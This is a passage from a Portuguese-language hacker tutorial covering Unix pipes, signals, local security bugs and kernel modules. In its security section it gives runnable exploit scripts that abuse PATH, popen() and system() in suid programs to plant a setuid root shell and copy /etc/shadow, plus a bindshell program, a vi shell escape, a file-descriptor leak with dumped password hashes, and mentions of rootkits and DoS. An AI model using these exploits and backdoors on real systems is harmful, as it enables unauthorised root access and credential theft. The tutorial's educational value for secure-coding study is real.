Padrao(stdout) */ dup(pfds[1]); /* Torna pfds[1] saida padrao */ close(pfds[0]); execlp("/bin/cat", "cat",arquivo, NULL); } else { close(0); /* Fecha entrada padrao(stdin) */ dup(pfds[0]); /* Torna pfds[0] entrada padrao */ close(pfds[1]); execlp("/usr/bin/grep", "grep",usuario, NULL); } } ------------------------------------------------------------------------- Como podemos ver, este eh um esquema muito eficiente.A novidade reside em usarmos dup().Dup eh usado para duplicar um File Descriptor.Sua Sintaxe eh: #include int dup(int oldfd); Maiores detalhes sobre esta funcao podem ser encontrados na sua man page. Agora que voce sabe o que sao pipes, e como cria-los vamos ver agora o que sao sinais, e para que servem. 3.4. - Signals --------------- Manipulacao de Sinais eh algo fundamental quando lidamos com IPC.Quando um processo nao termina normalmente ele usualmente tente enviar um sinal indicando que algo estah errado.Os Signals(sinais) sao gerados por interrupcoes de software que sao enviados para um processo quando um evento acontece.Sinais podem ser gerados sincronizadamente por um erro em uma aplicacao, mas a maioria dos sinais nao agem sincronizadamente.Sinais podem ser enviados para um processo quando o sistema detecta um evento de software, igual quando um usuario manda interromper ou killar requisicoes de outro processo(kill). Sinais podem tambem serem enviados diretamente do kernel do Sistema Operacional quando um evento no hardware falha, como 'bus error' ou 'illegal instruction'. O sistema define um set de sinais que podem ser enviados para um processo.Alguns sinais param o recebimento de dados de um processo e outros sinais podem ser ignorados.Cada sinal possui uma acao padrao que pode ser uma das seguintes: * O sinal eh descartado apos ser recebido; * O Processo eh terminado apos o recebimento do sinal; * Um arquivo core eh escrito, entao o processo eh terminado; * Um Processo eh parado apos o recebimento de um sinal; Para maiores informacoes sobre as acoes de varios sinais consulte a man page de 'sigaction' e 'kill'. Os MACROS referentes a varios sinais sao definidos no arquivo , ele inclui, dentre outros, o seguintes macros: SIGHUP -> Hangup SIGINT -> Interrupcao SIGQUIT -> Saida SIGILL -> Instrucao Ilegal SIGABRT -> Usado para Abortar SIGKILL -> Kill SIGALRM -> Alarm Clock SIGCONT -> Continua um Processo Parado SIGCHLD -> Para ou Sai(Enviado por um Processo Pai p/ um Filho). SIGSTOP -> Para um Processo. SIGFPE -> Operacoes Aritmeticas Erroneas. SIGPIPE -> Escreve em um pipe sem outro para ler ele. SIGSEGV -> Pessoal que gosta de overflows!!:).Sinal que indica referencia invalida de memoria. SIGTERM -> Sinal Terminal. SIGUSR1 -> Sinal 1 do usuario definido. SIGUSR2 -> Sinal 2 do usuario definido. SIGTSTP -> Sinal Terminal Parado, enviado para um processo parado. SIGTTIN -> Processo de tentativa de leitura em background. SIGTTOU -> Processo de tentativa de escrita em background. SIGBUS -> Bus error. SIGPOLL -> Evento nomeavel. SIGPROF -> Tempo de perfil(contorno) expirado. SIGSYS -> System Call errado(bad). SIGTRAP -> Laca(prende) Trace/breakpoint. SIGURG -> Dados de bandwidth alta estah disponivel em um socket. SIGVTALRM -> Marcador(timer) virtual expirado. SIGXCPU -> Tempo limite da CPU excedido. SIGXFSZ -> Tamanho limite de arquivo excedido. Os sinais podem ser numerados de 0 ateh 31. Funcoes: -------- Existem duas funcoes mais comuns usadas para enviar sinais.Sao elas: int kill(int pid, int signal) - Usada para enviar um sinal para um processo, PID.Se PID eh maior que zero, o sinal eh enviado ao processo ao qual o process ID eh igual ao PID.Se PID eh igual a zero, o sinal eh enviado para todos os processos, exceto os processos do sistema(o que mandou enviar). int raise(int sig) - Envia o sinal sig para o programa em execucao. Atualmente raise() usa kill() para enviar o sinal para o programa em execucao: kill(getpid(), sig); Alem dessas duas funcoes, uma eh mais importante, a que manuseia os sinais.Eh a funcao signal().Sua sintaxe segue abaixo: #include void (*signal(int signum, void (*handler)(int)))(int); O system call 'signal' instala um novo manuseador de sinais para o sinal com numero 'signum'.O manuseador de sinal eh setado para manusear o que deve estar especifico em uma funcao do usuario, ou um dos seguintes macros: SIG_IGN -> Ignora o sinal. SIG_DFL -> Reseta o sinal para seu estado padrao. Vamos ver um exemplo abaixo, usando uma funcao do usuario para manipular sinais: -------------------------------- sig1.c --------------------------------- #include #include #include void sigproc(); void quitproc(); main() { signal(SIGINT,&sigproc); signal(SIGQUIT,&quitproc); printf("ctrl-c disabilitado use ctrl - \\ para sair do programa.\n"); for(;;); } void sigproc() { signal(SIGINT,sigproc); printf("Se quer sair do programa digite ctrl - \\\n"); } void quitproc(){ printf("\nSaindo do Programa!!\n\n"); exit(0); } -------------------------------------------------------------------------- Compile este programa e depois tente sair dele usando 'Ctrl - c'. O Manuseio de sinais pode ser uma boa para um fucador, principalmente quando escrevemos DoS que consomem ciclos de maquina, e backdoors que criam processos 'filhos'(fork()).Vamos analisar um exemplo disto abaixo: ------------------------------- sig2.c --------------------------------- #include #include #include main() { int pid; if ((pid = fork()) < 0) { perror("fork"); exit(1); } if (pid == 0){ /* Processo filho */ signal(SIGQUIT, SIG_DFL); for(;;); /* loop infinito, demontra um exemplo apenas */ } else{ /* processo pai */ printf("\nEnviando SIGQUIT para processo FILHO!\n\n"); kill(pid,SIGQUIT); sleep(2); } printf("Continuando Execucao normal...\n"); } ------------------------------------------------------------------------- Execute o programa acima.Note o seguinte, o programa cria um processo filho, executa uma acao(loop infinito), o processo pai envia um SIGQUIT para terminar processo filho e depois o programa segue a sua execucao normal.Qual a utilidade disto para um fucador?? Algumas condicoes de corrida utilizam este conceito, enquanto se eleva uma uid para a execucao de um processo em 'background', envia-se um sinal para que se possa tirar proveito disto. O Basico sobre sinais eh isto aih, treine na pratica que voce serah bem sucedido no manuseio deles.Neste tutorial foi descrito somente o basico, em breve mais coisas serao descritas, de uma olhada nos links que disponibilizo no final. ------------------------------------ 4. - PROBLEMAS SIMPLES DE SEGURANCA | ------------------------------------ Neste item pretendo enumerar alguns problemas de seguranca bastante comuns e amplamente divulgados na Internet.Alguns conceitos sao bem abrangentes e algumas tecnicas envolvem ou nao o conceito de IPC. Esses problemas tendem a serem 'menosprezados' por grande parte dos programadores pois os mesmos se concentram mais na 'moda' do momento, ou seja, os programadores de preocupam com Buffer Overflows, mas se esquecem das dezenas de outros problemas de seguranca que um programa pode vir a apresentar. 4.1. - popen() + Environment ------------------------------- popen() eh uma funcao bastante conhecida.Ela busca informacoes sobre a localizacao de um arquivo usando chamadas para a Shell(BASH).Logo, em alguns casos ela pode estar vulneravel atraves do uso de variaveis Environment.No inicio do tutorial de IPC, eu coloquei um simples programa que interagia com outro usando pipe().Vamos adaptar este mesmo programa para ilustrar uma situacao de vulnerabilidade para nos: ---------------------------- popen_bug.c ------------------------------- #include #include #include FILE *alvo; main(){ char *string = "HACKER"; setuid(0); alvo = popen("./alvo","w"); /* Cria arquivo pipe */ fprintf(alvo,"%s",string); /* Envia string para Programa */ pclose(alvo); /* Fechar Arquivo Pipe */ printf("\nArquivo Executado com Sucesso!\n"); return 0; } ------------------------------------------------------------------------ Note que popen() abre um arquivo no diretorio atual.Se nos modificarmos nossa Environment PATH, ele irah abrir o arquivo alvo que desejarmos. Compile o programa acima e torne-o suid para que possamos ilustrar melhor. Abaixo segue um shell script que pode ser usado em /tmp para nos dar uma root shell em cima da vulnerabilidade acima: ---------------------------- detonaopen.sh ----------------------------- #!/bin/sh # Detona popen() # Especifique o PATH correto, aonde se encontra # o arquivo bugado. /usr/bin/clear /bin/echo "CRIANDO ARQUIVO QUE SERAH BACKDOOR!!" /bin/cat << _FIM_ > backdoor.c #include #include #include main(){ setuid(0); execl("/bin/sh","sh",0); return 0; } _FIM_ /bin/echo "CRIANDO SCRIPT ALVO" /bin/cat << _FIM_ > alvo /usr/bin/gcc -o backdoor backdoor.c /bin/chmod +s backdoor _FIM_ /bin/chmod +x alvo export PATH=./ #Defina o PATH correto abaixo. /usr/local/bin/popen_bug /bin/echo "PROGRAMA EXECUTADO COM SUCESSO!!" /bin/echo "LAH VEM SUID SHELL!!" ./backdoor ----------------------------------------------------------------------- Torne o arquivo acima executavel e depois execute-o.Verah que funciona perfeitamente e a vulnerabilidade existe.Com o aumento do numero de programadores para Linux, estes esquemas que para muitos parece bobo podem representar um grande risco para a seguranca de uma rede. Este problema envolvendo Environments eh bastante comum em varias outras funcoes, vou demonstrar aqui somente com system() e shell scripts, mas execlp() e execvp() usam a Environment PATH, logo podem estar vulneraveis a implementacao eficaz desta tecnica. 4.2. - Problemas com system() -------------------------------- Esta eh uma funcao perigosissima, seja como for, jamais deve ser usada. Existem susbtitutas para ela que fazem a mesma coisa com alguns parametros a mais de seguranca.Mas parece que os nossos 'bons' programadores nao querem dar ouvidos a nossa 'boa' comunidade de seguranca, pois diversos programas continuam a usar esta funcao bugada.Vejamos abaixo, um programa exemplo, para ilustrarmos alguns problemas que envolvem esta funcao: ----------------------------- system_bug1.c ------------------------------ /* PROGRAMA BUGADO EM SYSTEM */ #include #include #include #define ERRO -1 main(int argc, char *argv[]){ char comando[40]; int protecao; if(argc < 2){ printf("Uso: %s \n",argv[0]); exit(0); } protecao = strlen(argv[1]); if(protecao > 15){ printf("\nUsuario Inexistente! Ferramenta de IDS logou voce!!\n"); printf("Ou voce Hackeia o sistema e muda os logs ou tah lascado!!:)\n\n"); exit(ERRO); } else{ setuid(0); /* Ilustraremos um suid root */ sprintf(comando,"w %s",argv[1]); system(comando); } return 0; } -------------------------------------------------------------------------- Compile-o normalmente de depois coloque-o como suid root 'chmod +s'. Digamos que voce se depare com um programa deste tipo numa rede qualquer, voce nao tem acesso ao codigo fonte, e pensa em seguir os seguintes passos: * Procura por suid: $ ls -l system_bug1 -rwsr-sr-x 1 root root 12355 Jul 2 09:16 system_bug1 Voce pensa: 'Oba!! Um programa suid root!!! Ele nao eh um programa famoso, logo deve ter bugs!!' * Aih voce decide investigar de forma suscinta executando ele: $ ./system_bug1 Uso: ./system_bug1 Voce pensa: 'Eita, ele aceita parametros da linha de comando, uma string de caracters, pode estar vulneravel a buffer overflow'. * Entao voce decide investigar melhor e usa o comando strings: $ strings system_bug1 | less /lib/ld-linux.so.2 __gmon_start__ libc.so.6 printf system __deregister_frame_info sprintf <------------------------ Olha isso aqui! exit _IO_stdin_used __libc_start_main strlen __register_frame_info GLIBC_2.0 PTRh` Programa Exemplo para system() bugado! Uso: %s Usuario Inexistente! Ferramenta de IDS logou voce!! Ou voce Hackeia o sistema e muda os logs ou tah lascado!!:) w %s init.c /tmp/glibc-2.1.2/csu/ gcc2_compiled. .... ....(Um monte de coisas) Voce olha soh para uma coisa e se alegra:"Tem sprintf!!"; (esquecendo de olhar o resto) e voce jah sabe que sprintf eh uma funcao amplamente conhecida como sendo vulneravel a buffer overflow. * De posse dessas informacoes voce resolve testar, digitando primeiro um usuario valido: $ ./system_bug1 nashleon 9:27am up 5:47, 4 users, load average: 0.00, 0.00, 0.00 USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT nashleon tty4 - 3:52am 1:21m 0.52s 0.52s bash Voce nao consegue notar de cara que o programa estah interagindo com outro(/usr/bin/w).E resolve entao atacar e tentar gerar uma 'Segmentation Fault': $ ./system_bug1 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAA Usuario Inexistente! Ferramenta de IDS logou voce!! Ou voce Hackeia o sistema e muda os logs ou tah lascado!!:) $ Neste ponto, muitos sairiam correndo, outros iriam se desesperar em busca de saber o que tinha acontecido, e outros, uns poucos, ficariam calmos, vendo que ainda cairam na '$' e que nem tudo estava perdido.. O que eu quis ilustrar eh algo que vem ocorrendo com frequencia hoje em dia, na verdade sao duas coisas: "AS APARENCIAS ENGANAM!!", o programa pode parecer estar vulneravel a um buffer overflow, mas no entanto ele pode ser um 'pega-kiddie'; Segundo: "NAO EXISTE SOH BUFFER OVERFLOW COMO TECNICA EFETIVA PARA SE CONSEGUIR EXECUTAR COMANDOS COMO OUTRO USUARIO!" Existem varias outras tecnicas e algumas em alguns casos muito mais simples e eficazes do que 'Buffer Overflow'. Agora vamos ver o que podemos fazer com isso, o overflow nao foi possivel, mas o programa eh suid, devemos entao analisar novamente, com calma, sem precipitacao: $ strings system_bug1 | more /lib/ld-linux.so.2 __gmon_start__ libc.so.6 printf system __deregister_frame_info sprintf exit _IO_stdin_used __libc_start_main strlen __register_frame_info GLIBC_2.0 PTRh` Programa Exemplo para system() bugado! Uso: %s Usuario Inexistente! Ferramenta de IDS logou voce!! Ou voce Hackeia o sistema e muda os logs ou tah lascado!!:) w %s init.c /tmp/glibc-2.1.2/csu/ gcc2_compiled. int:t(0,1)=r(0,1);0020000000000;0017777777777; Analisando com calma, vemos uma chamada para system(), e sabemos que system() jamais deve ser usado! Mas o que eh esse system() afinal??Veremos o que ela eh o que faz rapidamente para que nao haja duvidas. 4.2.1. - A funcao system() ---------------------------- Esta eh uma funcao que simplesmente executa um comando shell.Sua sintaxe eh: #include int system (const char * string); Onde 'const char *string' eh um ponteiro para o comando que se quer executar, ou seja, system() executa um comando especifico da seguinte maneira: /bin/sh -c string Enquanto system() estiver sendo executado, SIGCHLD serah bloqueado, e SIGINT e SIGQUIT serao ignorados, justamente para, dentre outras coisas, evitar 'Race conditions'. Um exemplo classico de system segue abaixo: #include #include main(){ system("clear"); /* Note que isto eh muito comum mesmo em varios programas */ system("ls"); } Executa um simples 'clear' e depois um 'ls'. 4.2.2. - Detonando system() ----------------------------- Eh recomendavel usar um PATH absoluto no uso de system(), mas no entanto, ainda assim, alguns esquemas sao possiveis.No nosso exemplo existe uma simples chamada 'w' ao inves de '/usr/bin/w', justamente o modo mais facil de se 'exploitar'. Existem diversos modos de se pegar o comando, no nosso exemplo, vimos algumas coisas via 'strings': .... system .... Uso: %s -> Note: %s para argv[0], devemos entao procurar algum '%' para argv[1]; .... w %s -> Olha ele aqui, podemos entao perceber que system() executa o .... comando w, recebendo argumento %s, provavelmente(no nosso caso com certeza eh) de sprintf(). Voce poderia exploitar este dito cujo 'na mao' digitando comando por comando, mas irei descrever abaixo um shell script para que voce jah possa ir vendo mais coisas sobre 'programacao em BASH': --------------------------- detona_system.sh ---------------------------- #!/bin/bash # Script para Exploitar um programa bugado # com system().Feito para tutorial de programacao # diversa.Desenvolvido por Nash Leon. /usr/bin/clear /bin/echo "CRIANDO ARQUIVO QUE SERAH BACKDOOR!!" #Na linha abaixo comecamos a criar um arquivo .c(backdoor) /bin/cat <<_FIM_ > back.c #include #include #include main(){ setuid(0); execl("/bin/sh","sh",0); return 0; } _FIM_ #Abaixo criamos um shell script que executarah os comandos via bug /bin/cat <<_FIM_ > w #!/bin/sh /usr/bin/gcc -o back back.c /bin/chmod +s back _FIM_ /bin/chmod +x w #Abaixo exportamos a environ PATH para se tornar ./ #Assim ao inves de procurar em /usr/bin/w irah procurar em ./w #que eh justamente nosso shell script acima. export PATH=./ #Mude Abaixo para o PATH onde se localiza seu programa bugado /usr/bin/system_bug1 detonado /bin/echo "PROGRAMA EXECUTADO COM SUCESSO!!OS HACKERS SAO MELHORES!!!" #Acima nos finalmente executamos o programa bugado, com um argumento #de 'resposta' ao admin..:) ./back #Acima nos executamos a backdoor para cairmos direto na root shell. ------------------------------------------------------------------------ Para sermos bem sucedidos, basta fazermos: $ chmod +x detona_system.sh $ ./detona_system.sh CRIANDO ARQUIVO QUE SERAH BACKDOOR!! PROGRAMA EXECUTADO COM SUCESSO!!OS HACKERS SAO MELHORES!!! sh-2.03# /usr/bin/id uid=0(root) gid=100(users) groups=100(users) sh-2.03# exit exit Aih estah mano... Esquemas como este, tao simples assim eh dificil de achar, alem do mais com suid root, mas o importante eh conhecermos a tecnica, pois como vimos na ilustracao, esse esquema pode vir a ser util. Mas e se fosse '/usr/bin/w' ao inves de soh 'w'.Acho que nao tem muito segredo nao, pois ele estah recebendo uma string da linha de comando, ou seja, podemos passar do mesmo jeito.Vejamos o mesmo exemplo mas com o PATH absoluto abaixo: ----------------------------- system_bug2.c ------------------------------ /* PROGRAMA BUGADO EM SYSTEM */ #include #include #include #define ERRO -1 main(int argc, char *argv[]){ char comando[40]; int protecao; if(argc < 2){ printf("Uso: %s \n",argv[0]); exit(0); } protecao = strlen(argv[1]); if(protecao > 15){ printf("\nUsuario Inexistente! Ferramenta de IDS logou voce!!\n"); printf("Ou voce Hackeia o sistema e muda os logs ou tah lascado!!:)\n\n"); exit(ERRO); } else{ setuid(0); sprintf(comando,"/usr/bin/w %s",argv[1]); system(comando); } return 0; } --------------------------------------------------------------------------- Compile-o novamente e coloque-o suid root para ilustrarmos melhor. Para passarmos por ele, basta usarmos a 'malicia' que a shell nos proporciona, um exemplo segue abaixo no shell script: ---------------------------- detona_system2.sh ---------------------------- #!/bin/bash #Shell Script para copiar o shadow se aproveitando #de um programa bugado em system() /bin/echo "CRIANDO ARQUIVO COPIA SHADOW..." /bin/cat << _FIM_ > copia.sh #!/bin/sh /bin/cp /etc/shadow /home/nashleon /bin/chmod 777 /home/nashleon/shadow #EOF _FIM_ /bin/chmod +x copia.sh /bin/echo "ARQUIVO CRIADO COM SUCESSO!!" /bin/echo "DETONANDO SYSTEM()!!" sleep 1 PATH=./ /crazy/my/ipc/system_bug "abcd;copia.sh" -------------------------------------------------------------------------- Sem duvida que bastaria voce digitar o seguinte para cair numa suid shell: $ /path/system_bug2 "oi;/bin/sh" Coloquei o shell script mais uma vez para ir adiantando algo sobre programacao em shell script.Pense bem antes de user system() em um programa qualquer, no caso acima, eles eram suid roots, sem duvida isto eh meio improvavel, mas tudo eh possivel nao devemos esquecer das condicoes que envolvem sistemas NFS, SAMBA, acesso FTP diferenciado de SHELL, enfim, existem esquemas possiveis para se fazer em cima desta vulnerabilidade.As variaveis Environment representam um perigo consideravel, existem funcoes mais seguras que devem ser usadas ao inves de system, ou mesmos, procurar filtrar caracters, no entanto, os filtros em alguns casos pode-se passar por eles tambem, recomendo mesmo eh a nao utilizacao desta funcao. 4.3. - Problemas com Shell Scripts ------------------------------------ Assim como nos exemplos jah visto, problemas com Shell Scripts tambem sao comuns quando envolvem variaveis Environment.Ao inves de executar um dado comando especifico, voce poderah setar uma variavel environment para tirar proveito proprio.Por exemplo: #!/bin/sh w #EOF Voce poderia setar a variavel PATH para './' ou qualquer dir e criar um arquivo w contendo instrucoes a serem executadas. Gostaria de tornar publico um problema muito frequente.Existem programas que 'dizem' nao permitir mais de um login por usuario.Sem duvida que um usuario leigo iria ser 'barrado' neste esquema, mas nao se deve confiar nestes programas, as formas de passar pelos mesmos sao bastante faceis, se voce deseja ter mais de um acesso a shell, 'passe' pelo /bin/login. Para isso, um esquema util eh executar uma bindshell, exemplo segue abaixo: --------------------------- NL_bindshell.c ------------------------------ /* Simples programa que binda uma Shell a uma porta. Desenvolvido por Nash Leon vulgo coracaodeleao. nashleon@yahoo.com.br */ #include #include #include #include #include #include #include #include /* Se quiser mudar o numero da porta abaixo, sinta-se a vontade */ #define PORTA 20000 #define ERRO -1 int binda(){ int Meusocket; int tamanho, conector; struct sockaddr_in hacker; struct sockaddr_in vitima; char engana[50]; if(fork() == 0){ vitima.sin_family=AF_INET; vitima.sin_addr.s_addr= htonl(INADDR_ANY); vitima.sin_port= htons(PORTA); bzero(&(vitima.sin_zero), 8); Meusocket = socket(AF_INET,SOCK_STREAM,0); if(Meusocket < 0){ fprintf(stderr,"Erro em socket()!\n"); exit(ERRO); } bind(Meusocket,(struct sockaddr *)&vitima,sizeof(vitima)); if(bind < 0){ fprintf(stderr,"Erro em bind()!\n"); exit(ERRO); } listen(Meusocket,1); tamanho = sizeof(hacker); conector=accept(Meusocket,(struct sockaddr *)&hacker,&tamanho); if(conector < 0){ fprintf(stderr,"Erro em accept()!\n"); } dup2(conector,0); dup2(conector,1); dup2(conector,2); execl("/bin/sh","sh",0); } } main(void){ binda(); } ----------------------------------------------------------------------- Se voce nao sabe construir um programa igual a este acima, recomendo a leitura dos meus tutoriais basicos de sockets em C e o tutorial basico de backdoors em Linux, voce pode acha-los na pagina do Unsekurity Team. Esse programa acima une uma shell a uma porta alta do sistema, execute-o e depois tudo que voce precisa fazer eh dar um telnet para a porta alta. Outros problemas que envolvem os Shells Scripts residem nas permissoes, se um shell script eh suid root e possui problemas de Environment, o sistema jah era, se o shell script eh world/writable ou seja, qualquer um pode escrever, o sistema tambem jah era, enfim, problemas com Shell Scripts pode ser comum em usuarios menos experientes.Talvez em breve eu disponibilize algum material mais abrangente sobre os varios tipos de shell, fique atento! 4.4. - Chamadas Para vi ----------------------- Recentemente eu analisando um banco de dados muito usado e amplamente conhecido no mundo Linux vi uma chamada para vi sem setar corretamente os parametros, logo, eh possivel que problemas envolvendo o vi ou algum outro editor de texto com esses 'poderes' possa ser usado de forma maliciosa. Vejamos abaixo um simples exemplo ilustrativo deste problema: ------------------------------- vi_bug.c -------------------------------- #include #include #include main(int argc, char *argv[]){ char banco[50]; printf("Comecando interacao...\n"); printf("Digite o nome do banco de dados: "); scanf("%49s",banco); setuid(0); /* Eleva uid */ execl("/usr/bin/vi","vi",banco,0); return 0; } ------------------------------------------------------------------------- Compile o programa acima e torne-o suid root para demonstrarmos de modo bastante claro os problemas que isto possa vir a causar. Note que antes dele chamar a execucao de vi ele aumenta a uid efetiva, o que podemos fazer com isso eh executar o programa acima e quando entrarmos no 'vi' basta digitarmos ':!sh' e cairemos numa shell suid root. se voce possui acesso somente ao banco de dados mSQL poderah esquematizar algo neste sentido, alguns programas usam o editor recebendo como parametro uma environment(EDITOR), em alguns casos mudando-se a environment pode-se tirar proveito em cima do programa. 4.5. - Problemas com File Descriptors -------------------------------------- O mah contrucao e uso de File Descriptors eh outro problema muito comum de seguranca.Irei descrever esquemas ultra-basico, este tutorial esta ficando enorme, mas vai pegando os conceitos e expandindo com suas teorias. Vamos analisar o esquema abaixo: + Vejamos as permissoes de um arquivo que soh o root pode ver: # ls -l /etc/shadow -rw------- 1 root root 479 Jun 24 08:22 /etc/shadow Somente o root tem permissao de leitura e escrita neste arquivo, como podemos ver perfeitamente. + Vamos analisar um simples programa que abre o arquivo /etc/shadow, mas que possui um problema com arquivo descriptor. ------------------------------- fd_bug.c --------------------------------- #include #include main(){ int fd; fd = open("/etc/shadow",0); /* Coloque outro se desejar */ dup2(3,fd); execl("/bin/sh","sh",0); } --------------------------------------------------------------------------- Note que o programa acima cria uma copia do file descriptor atraves de dup2().Isso eh muito comum no uso de sockets em programas servidores. + Compile o programa acima e torne-o suid, depois como usuario normal, execute os passos abaixo: $ ./fd_bug $ cat /etc/shadow cat: /etc/shadow: Permission denied $ cat <&3 root:$1$/974tGAj$aEvr5RnMhOVGvYdCyIsGK0:11120:0::::: bin:*:9797:0::::: daemon:*:9797:0::::: adm:*:9797:0::::: lp:*:9797:0::::: sync:*:9797:0::::: shutdown:*:9797:0::::: halt:*:9797:0::::: mail:*:9797:0::::: news:*:9797:0::::: uucp:*:9797:0::::: operator:*:9797:0::::: games:*:9797:0::::: ftp:*:9797:0::::: gdm:*:9797:0::::: nobody:*:9797:0::::: nashleon:$1$0G0btFZ6$jyOft65daqEK3sXIJvG861:11120:0:99999:7::12201: martin:$1$bjAtFaa4$tmDLfVvZAoa71vwFA/.gt1:11120:0:99999:7::12201: O que aconteceu eh que ele criou uma copia do arquivo descriptor, ou seja, uma copia de /etc/shadow aberta em '3'.Esquemas como este tao simples assim tambem eh dificil, mas se ligue na tecnica, e se por algum acaso voce chegar a ver por aih um dup2(), nao hesite em fucar atras de problemas com file descriptors. Os esquemas descritos nesta parte sao amplamente difundidos, sao basicos mas o conceito que envolve os mais eh bem agrangente, eu os especifiquei em Linux, mas sao mais expansivos.Programas Complexos com Milhares de Linhas de Codigos tendem a possuir uma probabilidade maior de possuir estes problemas, como cada caso eh um caso, caberah a voce ir mais fundo, buscando conhecer mais esquemas, mais tecnicas e mais conceitos, tem um ditado classico: "QUEM PROCURA ACHA!!" ; e no mundo do fucador isto eh mais do que um fato, vah fundo, busque obter o maximo de conhecimento, pesquise e voce encontrarah bugs e falhas em programas que ninguem nem se quer imaginava ser possivel!! ---------------------------------- 5 - LKM (Loadable Kernel Modules) | ---------------------------------- Programacao ou escrita de LKMs eh uma poderosa ferramenta para um fucador. Sem sombra de duvida o poder que isto dah ao fucador eh consideravelmente grande.Veremos de forma basica, o que sao, para que servem e como escrever LKMs em sistema Linux.Dependendo da versao da kernel do seu linux, alguns programas e esquemas podem ser inviaveis ou terao que sofrer algumas modificacoes no codigo-fonte, um conhecimento medio em C se faz necessario. Algumas rotinas requer um conhecimento basico de Assembly tambem, mas pretendo explicar essas rotinas detalhadamente para que voce possa entende-las plenamente sem necessitar recorrer a outros tutoriais, mas lembrando tambem que conhecimento nunca eh demais, se puder aprender tudo e mais um pouco de C e ASM, vah em frente.Peguei como base para este tutorial 2 textos muito importantes e excelentes: "(nearly) Complete Linux Loadable Kernel Modules" escrito por pragmatic/THC que pode ser obtido em http://www.infowar.co.uk/thc/ e "Weakening the Linux Kernel" escrito pelo plaguez que pode ser obtido na phrack de numero 52 item 18 em http:www.phrack.com/, outro material interessante pode ser encontrado no livro "Linux Device Drivers", detalhes sobre ele, voce pode encontrar na parte Links e Referencias.Todos os esquemas e exemplos aqui sao descritos para kernel 2.2.13, e como dito anteriormente, se sua kernel ou a kernel alvo dos exemplos nao for essa, talvez os esquemas e exemplos nao funcionem ou voce precisarah adaptar os programas.Aprendendo mesmo, voce estarah apto a construir suas proprias LKMs e seus proprios esquemas fucadores.Espero que esse item seja util para voce. 5.1 - Para que Aprender a Escrever LKMs ---------------------------------------- LKMs refere-se a Loadable Kernel Modules(Modulos de Kernel Carregaveis). Sao modulos que sao carregados dinamicamente no kernel para executar determinadas tarefas.No Linux, os LKMs sao usados para expandir a funcionalidade da kernel.As vantagens em se usar LKMs sao varias, como vimos, podem ser abertas dinamicamente, isto eh, sem a recompilacao da kernel inteira, podem ser usadas para especificar devices drivers(ou filesystems) assim como soundcards, etc..Para um fucador, existem alguns esquemas que podem ser feitos com esses LKMs, e vao desde criacao de rootkits e backdoors, passando por sequestro de tty, e ateh mesmo a criacao de virus em sistemas Linux. 5.2 - Carregando e Descarregando um LKM ----------------------------------------- Antes de comecarmos com a programacao propriamente dita, devemos ver como se carrega e se descarrega um modulo no sistema.Para carregar, o modo mais simples eh descrito abaixo: [localhost]# insmod modulo.o OBS: Na grande maioria dos sistemas Linux(muito provavelmente todos!), somente o root pode carregar e descarregar LKMs. Para descarregar, podemos fazer: [localhost]# rmmod modulo ou [localhost]# modprobe -r modulo Para vermos quais modulos estao carregados no nosso sistemas: [localhost]# lsmod ou [localhost]# cat /proc/modules Todos esses executaveis estao no diretorio "/sbin", e estes sao os modos mais simples, mas nao os unicos, de se carregar, visualizar e descarregar LKMs. 5.3 - Duas Funcoes Minimas --------------------------- Assim como em C nos temos uma funcao minima e obrigatoria, a funcao main(), em LKM, nos temos duas funcoes.Um funcao com acoes que sao executadas quando o modulo eh carregado chamada "init_module()" e outra funcao com acoes que sao executadas quando o modulo eh descarregado chamada "cleanup_module()".Vejamos abaixo um simples programa exemplo para essas funcoes: -------------------------------lkm1.c----------------------------------- /* Simples Exemplo de LKM */ #define MODULE #define __KERNEL__ #include int init_module(void){ printk("<1>Carregando Modulo...\n"); printk("<1>\n"); printk("<1>Seja bem vindo ao maravilhoso mundo dos LKMs!\n"); printk("<0>Viaje nesse mundo com o Unsekurity Team!!\n"); printk("<1>Modulo Carregado com Sucesso!!\n"); return 0; } void cleanup_module(void) { printk("<1>Descarregando Modulo...\n"); printk("<1>Modulo Descarregado com Sucesso!!\n"); } ------------------------------------------------------------------------ Compile este programa da seguinte maneira: [localhost]# gcc -c -O3 lkm1.c Despois carregue-o no sistema usando insmod.Voce deve ver aparecer na tela as strings de init_module(), que corresponde as acoes que queremos que sejam executadas inicialmente.Depois voce pode descarrega-lo do sistema usando modprobe ou rmmod.Verah aparecer as strings que estao em cleanup_module().Deste modo, fica evidenciado o que representam estas duas funcoes minimas.Sendo a segunda usada para sairmos limpamente (reinicializarmos o sistema) para o sistema.Note que no exemplo acima foi usado printk ao invez de printf, pois lembre-se, estamos programando em LKMs, muita coisa eh diferente do C padrao, mais abaixo voce poderah ver detalhes a respeito disso, o <0> e <1> significam a urgencia em que se deve imprimir o que se pede, ficando a cargo do sistema decidir sobre isso. Carregue novamente este LKM e em seguida digite lsmod, vamos analisar algumas coisas: Module Size Used by lkm1 460 0 (unused) O comando lsmod le as informacoes de /proc/modules para mostrar-nos os modulos que estao carregados no sistema.Agora veremos os campos: Module -> Eh o nome do nosso modulo carregado. Size -> Tamanho do modulo em bytes. Used by -> Este campo eh o que nos interessa, ele refere-se a uma especie de contador, pois ele nos diz quao frequentemente um modulo eh usado no sistema.O modulo soh pode ser removido quando este contador for igual a zero.Essa parte entre parenteses referem-se aos indicadores opcionais que sao strings de textos com mais informacoes sobre o LKM. Com essa informacao basica, vamos agora ver o que sao os systemcalls. 5.4 - Systemcalls ----------------- Todo Sistema Operacional tem algumas funcoes construidas sobre sua kernel, que sao usadas por toda operacao naquele sistema.As funcoes usadas pelo Linux sao chamadas de systemcalls.Elas representam a transicao do User-Space para o Kernel-Space.User-Space se refere a programacao C padrao comum em sistemas Linux, enquanto Kernel-Space se refere a programacao no espaco ou modo kernel, que eh o que estamos vendo, um modo diferente de programacao em relacao ao C padrao, e tambem, ambas se referem a parte da memoria ocupada por cada tipo desses de programacao(C e LKM).A abertura de um arquivo no User-Space eh representado pelo 